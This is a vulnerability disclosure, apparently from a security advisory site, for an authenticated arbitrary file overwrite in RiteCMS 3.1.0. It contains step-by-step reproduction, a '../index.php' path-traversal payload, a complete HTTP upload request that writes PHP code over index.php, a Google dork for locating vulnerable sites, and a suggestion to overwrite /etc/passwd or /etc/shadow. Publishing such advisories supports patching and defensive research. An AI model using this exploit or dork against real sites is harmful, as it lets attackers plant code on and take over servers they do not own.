RiteCMS 3.1.0 Arbitrary File Overwrite

2022.01.05

Credit: **faisalfs10x (https://cxsecurity.com/author/faisalfs10x/1/)**

Risk: **High**

Local: **No**

Remote: **Yes**

CVE: **N/A**

CWE: **N/A**

Dork: (See Dorks List) intext:"Powered by RiteCMS"

(https://cxsecurity.com/dorks/)

```
# Exploit Title: RiteCMS 3.1.0 - Arbitrary File Overwrite (Authenticated)
# Date: 25/07/2021
# Exploit Author: faisalfs10x (https://github.com/faisalfs10x)
# Vendor Homepage: https://ritecms.com/
# Software Link: https://github.com/handylulu/RiteCMS/releases/download/V3.1.0/ritecms.v3.1.0.zip
# Version: <= 3.1.0
# Google Dork: intext:"Powered by RiteCMS"
# Tested on: Windows 10, Ubuntu 18, XAMPP
# Reference: https://gist.github.com/faisalfs10x/4a3b76f666ff4c0443
e104c3baefb91b


################
# Description  #
################

# RiteCMS version 3.1.0 and below suffers from an arbitrary file ov
erwrite vulnerability in Admin Panel. Exploiting the vulnerability
 allows an authenticated attacker to overwrite any file in the web
 root (along with any other file on the server that the PHP process
user has the proper permissions to write). Furthermore, an attacker
might leverage the capability of arbitrary file overwrite to modify
existing file such as /etc/passwd or /etc/shadow if the current PHP
process user is run as root.


############################################################
# PoC to overwrite existing index.php to display phpinfo() #
############################################################


Steps to Reproduce:

1. Login as admin
2. Go to File Manager
3. Then, click Upload file > Browse..
4. Upload any file and click checkbox name "overwrite file with sam
e name"
4. Intercept the request and replace current file name to any files
path on the server via parameter "file_name".


PoC: param file_name - to overwrite index.php to display phpinfo, s
o the payload will be "../index.php"
         param filename - with the content of "<?php phpinfo(); ?>"

Request:
```

```
========

POST /ritecmsv3.1.0/admin.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------351719865731412638493510448298
Content-Length: 1840
Origin: http://localhost
DNT: 1
Connection: close
Referer: http://192.168.8.143/ritecmsv3.1.0/admin.php?mode=filemanager&action=upload&directory=media
Cookie: PHPSESSID=nuevl0lgkrc3dv44g3vgkoqqre
Upgrade-Insecure-Requests: 1
Sec-GPC: 1

-----------------------------351719865731412638493510448298
Content-Disposition: form-data; name="mode"

filemanager
-----------------------------351719865731412638493510448298
Content-Disposition: form-data; name="file"; filename="anyfile.txt"
Content-Type: application/octet-stream

content of the file to overwrite here
-- this is example to overwrite index.php to display phpinfo --
<?php phpinfo(); ?>
-----------------------------351719865731412638493510448298
Content-Disposition: form-data; name="directory"

media
-----------------------------351719865731412638493510448298
Content-Disposition: form-data; name="file_name"
```

```
../index.php
-----------------------------351719865731412638493510448298
Content-Disposition: form-data; name="overwrite_file"

true
-----------------------------351719865731412638493510448298
Content-Disposition: form-data; name="upload_mode"

1
-----------------------------351719865731412638493510448298
Content-Disposition: form-data; name="resize_xy"

x
-----------------------------351719865731412638493510448298
Content-Disposition: form-data; name="resize"

640
-----------------------------351719865731412638493510448298
Content-Disposition: form-data; name="compression"

80
-----------------------------351719865731412638493510448298
Content-Disposition: form-data; name="thumbnail_resize_xy"

x
-----------------------------351719865731412638493510448298
Content-Disposition: form-data; name="thumbnail_resize"

150
-----------------------------351719865731412638493510448298
Content-Disposition: form-data; name="thumbnail_compression"

70
-----------------------------351719865731412638493510448298
Content-Disposition: form-data; name="upload_file_submit"

OK - Upload file
-----------------------------351719865731412638493510448298--
```

See this note in RAW Version (https://cxsecurity.com/ascii/WLB-2022010019)

Tweet

Lubię to!

Vote for this issue: 👍 0 👎 0

50% 50%

Comment it here.

Nick (*)

Nick

Email (*)

Email

Video

Link to Youtube

Text (*)